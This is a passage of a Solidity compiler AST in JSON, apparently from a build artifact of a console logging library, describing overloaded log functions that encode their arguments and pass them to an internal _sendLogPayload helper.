memory)"}},"id":18258,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21963:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18250,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"21947:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18259,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21947:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18260,"nodeType":"ExpressionStatement","src":"21947:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"21865:3:14","parameters":{"id":18248,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18241,"mutability":"mutable","name":"p0","nameLocation":"21874:2:14","nodeType":"VariableDeclaration","scope":18262,"src":"21869:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18240,"name":"uint","nodeType":"ElementaryTypeName","src":"21869:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18243,"mutability":"mutable","name":"p1","nameLocation":"21892:2:14","nodeType":"VariableDeclaration","scope":18262,"src":"21878:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18242,"name":"string","nodeType":"ElementaryTypeName","src":"21878:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18245,"mutability":"mutable","name":"p2","nameLocation":"21901:2:14","nodeType":"VariableDeclaration","scope":18262,"src":"21896:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18244,"name":"uint","nodeType":"ElementaryTypeName","src":"21896:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18247,"mutability":"mutable","name":"p3","nameLocation":"21919:2:14","nodeType":"VariableDeclaration","scope":18262,"src":"21905:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18246,"name":"string","nodeType":"ElementaryTypeName","src":"21905:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"21868:54:14"},"returnParameters":{"id":18249,"nodeType":"ParameterList","parameters":[],"src":"21937:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18285,"nodeType":"FunctionDefinition","src":"22048:175:14","nodes":[],"body":{"id":18284,"nodeType":"Block","src":"22120:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c75696e742c626f6f6c29","id":18276,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"22170:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_875a6e2ed2444d0d09e264b06717914212d8a793bea0f48b5633e707ac53784d","typeString":"literal_string \"log(uint,string,uint,bool)\""},"value":"log(uint,string,uint,bool)"},{"id":18277,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18264,"src":"22200:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18278,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18266,"src":"22204:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18279,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18268,"src":"22208:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18280,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18270,"src":"22212:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_875a6e2ed2444d0d09e264b06717914212d8a793bea0f48b5633e707ac53784d","typeString":"literal_string \"log(uint,string,uint,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":18274,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"22146:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18275,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"22150:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"22146:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22146:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18273,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"22130:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18282,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22130:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18283,"nodeType":"ExpressionStatement","src":"22130:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"22057:3:14","parameters":{"id":18271,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18264,"mutability":"mutable","name":"p0","nameLocation":"22066:2:14","nodeType":"VariableDeclaration","scope":18285,"src":"22061:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18263,"name":"uint","nodeType":"ElementaryTypeName","src":"22061:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18266,"mutability":"mutable","name":"p1","nameLocation":"22084:2:14","nodeType":"VariableDeclaration","scope":18285,"src":"22070:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18265,"name":"string","nodeType":"ElementaryTypeName","src":"22070:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18268,"mutability":"mutable","name":"p2","nameLocation":"22093:2:14","nodeType":"VariableDeclaration","scope":18285,"src":"22088:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18267,"name":"uint","nodeType":"ElementaryTypeName","src":"22088:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18270,"mutability":"mutable","name":"p3","nameLocation":"22102:2:14","nodeType":"VariableDeclaration","scope":18285,"src":"22097:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18269,"name":"bool","nodeType":"ElementaryTypeName","src":"22097:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"22060:45:14"},"returnParameters":{"id":18272,"nodeType":"ParameterList","parameters":[],"src":"22120:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18308,"nodeType":"FunctionDefinition","src":"22229:181:14","nodes":[],"body":{"id":18307,"nodeType":"Block","src":"22304:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c75696e742c6164647265737329","id":18299,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"22354:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_ab7bd9fd9b149127bbb235a3e1bec9a2e844f3968bdc1f48944c4b1973dacfda","typeString":"literal_string \"log(uint,string,uint,address)\""},"value":"log(uint,string,uint,address)"},{"id":18300,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18287,"src":"22387:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18301,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18289,"src":"22391:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18302,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18291,"src":"22395:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18303,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18293,"src":"22399:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ab7bd9fd9b149127bbb235a3e1bec9a2e844f3968bdc1f48944c4b1973dacfda","typeString":"literal_string \"log(uint,string,uint,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":18297,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"22330:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18298,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"22334:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"22330:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18304,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22330:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18296,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"22314:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18305,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22314:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18306,"nodeType":"ExpressionStatement","src":"22314:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"22238:3:14","parameters":{"id":18294,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18287,"mutability":"mutable","name":"p0","nameLocation":"22247:2:14","nodeType":"VariableDeclaration","scope":18308,"src":"22242:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18286,"name":"uint","nodeType":"ElementaryTypeName","src":"22242:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18289,"mutability":"mutable","name":"p1","nameLocation":"22265:2:14","nodeType":"VariableDeclaration","scope":18308,"src":"22251:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18288,"name":"string","nodeType":"ElementaryTypeName","src":"22251:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18291,"mutability":"mutable","name":"p2","nameLocation":"22274:2:14","nodeType":"VariableDeclaration","scope":18308,"src":"22269:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18290,"name":"uint","nodeType":"ElementaryTypeName","src":"22269:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18293,"mutability":"mutable","name":"p3","nameLocation":"22286:2:14","nodeType":"VariableDeclaration","scope":18308,"src":"22278:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18292,"name":"address","nodeType":"ElementaryTypeName","src":"22278:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"22241:48:14"},"returnParameters":{"id":18295,"nodeType":"ParameterList","parameters":[],"src":"22304:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18331,"nodeType":"FunctionDefinition","src":"22416:186:14","nodes":[],"body":{"id":18330,"nodeType":"Block","src":"22497:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c737472696e672c75696e7429","id":18322,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"22547:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_76ec635e4702367bf449b895743175fa2654af8170b6d9c20dd183616d0a192b","typeString":"literal_string \"log(uint,string,string,uint)\""},"value":"log(uint,string,string,uint)"},{"id":18323,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18310,"src":"22579:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18324,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18312,"src":"22583:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18325,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18314,"src":"22587:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18326,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18316,"src":"22591:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_76ec635e4702367bf449b895743175fa2654af8170b6d9c20dd183616d0a192b","typeString":"literal_string \"log(uint,string,string,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":18320,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"22523:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18321,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"22527:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"22523:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18327,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22523:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18319,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"22507:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18328,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22507:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18329,"nodeType":"ExpressionStatement","src":"22507:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"22425:3:14","parameters":{"id":18317,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18310,"mutability":"mutable","name":"p0","nameLocation":"22434:2:14","nodeType":"VariableDeclaration","scope":18331,"src":"22429:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18309,"name":"uint","nodeType":"ElementaryTypeName","src":"22429:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18312,"mutability":"mutable","name":"p1","nameLocation":"22452:2:14","nodeType":"VariableDeclaration","scope":18331,"src":"22438:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18311,"name":"string","nodeType":"ElementaryTypeName","src":"22438:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18314,"mutability":"mutable","name":"p2","nameLocation":"22470:2:14","nodeType":"VariableDeclaration","scope":18331,"src":"22456:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18313,"name":"string","nodeType":"ElementaryTypeName","src":"22456:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18316,"mutability":"mutable","name":"p3","nameLocation":"22479:2:14","nodeType":"VariableDeclaration","scope":18331,"src":"22474:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18315,"name":"uint","nodeType":"ElementaryTypeName","src":"22474:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"22428:54:14"},"returnParameters":{"id":18318,"nodeType":"ParameterList","parameters":[],"src":"22497:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18354,"nodeType":"FunctionDefinition","src":"22608:197:14","nodes":[],"body":{"id":18353,"nodeType":"Block","src":"22698:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c737472696e672c737472696e6729","id":18345,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"22748:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_57dd0a119927787a0c91b48333e191a1b3a4082dcb6efc912e2ba5b047e15156","typeString":"literal_string \"log(uint,string,string,string)\""},"value":"log(uint,string,string,string)"},{"id":18346,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18333,"src":"22782:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18347,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18335,"src":"22786:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18348,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18337,"src":"22790:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18349,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18339,"src":"22794:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_57dd0a119927787a0c91b48333e191a1b3a4082dcb6efc912e2ba5b047e15156","typeString":"literal_string \"log(uint,string,string,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":18343,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"22724:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18344,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"22728:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"22724:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18350,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22724:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18342,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"22708:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18351,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22708:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18352,"nodeType":"ExpressionStatement","src":"22708:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"22617:3:14","parameters":{"id":18340,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18333,"mutability":"mutable","name":"p0","nameLocation":"22626:2:14","nodeType":"VariableDeclaration","scope":18354,"src":"22621:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18332,"name":"uint","nodeType":"ElementaryTypeName","src":"22621:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18335,"mutability":"mutable","name":"p1","nameLocation":"22644:2:14","nodeType":"VariableDeclaration","scope":18354,"src":"22630:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18334,"name":"string","nodeType":"ElementaryTypeName","src":"22630:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18337,"mutability":"mutable","name":"p2","nameLocation":"22662:2:14","nodeType":"VariableDeclaration","scope":18354,"src":"22648:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18336,"name":"string","nodeType":"ElementaryTypeName","src":"22648:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18339,"mutability":"mutable","name":"p3","nameLocation":"22680:2:14","nodeType":"VariableDeclaration","scope":18354,"src":"22666:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18338,"name":"string","nodeType":"ElementaryTypeName","src":"22666:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"22620:63:14"},"returnParameters":{"id":18341,"nodeType":"ParameterList","parameters":[],"src":"22698:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18377,"nodeType":"FunctionDefinition","src":"22811:186:14","nodes":[],"body":{"id":18376,"nodeType":"Block","src":"22892:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c737472696e672c626f6f6c29","id":18368,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"22942:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_12862b98fdb7950b0e6908443bc9d7894b44d5616424da5cdb6206a848affcbc","typeString":"literal_string \"log(uint,string,string,bool)\""},"value":"log(uint,string,string,bool)"},{"id":18369,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18356,"src":"22974:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18370,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18358,"src":"22978:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18371,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18360,"src":"22982:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18372,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18362,"src":"22986:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_12862b98fdb7950b0e6908443bc9d7894b44d5616424da5cdb6206a848affcbc","typeString":"literal_string \"log(uint,string,string,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":18366,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"22918:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18367,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"22922:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"22918:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18373,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22918:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18365,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"22902:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18374,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22902:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18375,"nodeType":"ExpressionStatement","src":"22902:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"22820:3:14","parameters":{"id":18363,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18356,"mutability":"mutable","name":"p0","nameLocation":"22829:2:14","nodeType":"VariableDeclaration","scope":18377,"src":"22824:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18355,"name":"uint","nodeType":"ElementaryTypeName","src":"22824:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18358,"mutability":"mutable","name":"p1","nameLocation":"22847:2:14","nodeType":"VariableDeclaration","scope":18377,"src":"22833:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18357,"name":"string","nodeType":"ElementaryTypeName","src":"22833:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18360,"mutability":"mutable","name":"p2","nameLocation":"22865:2:14","nodeType":"VariableDeclaration","scope":18377,"src":"22851:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18359,"name":"string","nodeType":"ElementaryTypeName","src":"22851:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}